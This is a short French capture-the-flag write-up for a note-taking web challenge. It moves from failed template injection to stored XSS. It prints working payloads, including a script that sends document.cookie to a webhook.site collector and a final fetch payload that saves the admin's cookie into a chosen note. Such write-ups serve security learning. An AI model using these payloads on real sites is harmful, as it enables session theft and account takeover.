On se retrouve ici avec le même setup que FUSS 1, en ayant en plus accès au code source de la page sur l’endpoint /source.
Si on essaye le même genre de payload que pour le FUSS 1 comme {{ 6 * 7 }}, on voit que les templates ne sont plus évalués.
Cependant, tout n’est pas perdu ! Le code html lui-même est maintenant évalué ! On peut donc envoyer un payload comme
<script>alert(1)</script>
et une alerte apparaîtra sur la page de la note visitée.
Magnifique ! Il suffit alors de faire le payload classique, non ? On envoie
<script>window.location.href="https://webhook.site/[id généré]?cookies=".concat(document.cookie)</script>
comme payload et on attend de récupérer le cookie de l’admin.
Malhereusment, on peut attendre longtemps car la visite de l’admin n’arrive jamais. On dirait que le bot est isolé du réseau et qu’il n’est donc pas possible pour lui d’accéder à d’autres routes que celles du site.
On va donc utiliser les capacités du site d’écrire et lire du texte pour stocker et lire le cookie de l’administrateur. On remarque pour ça dans le code source la que la route /save/:h? prend un paramètre optionnel h qui donne l’id autrement généré aléatoirement de la note. On peut donc spécifier notre propre id pour savoir où récupérer notre cookie.
Payload final :
<script>
fetch('/save/0000000000000000000000000000000000000000000000000000000000000000', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({note: document.cookie})
})
</script>
Et on récupère le flag sur /status/0000000000000000000000000000000000000000000000000000000000000000 !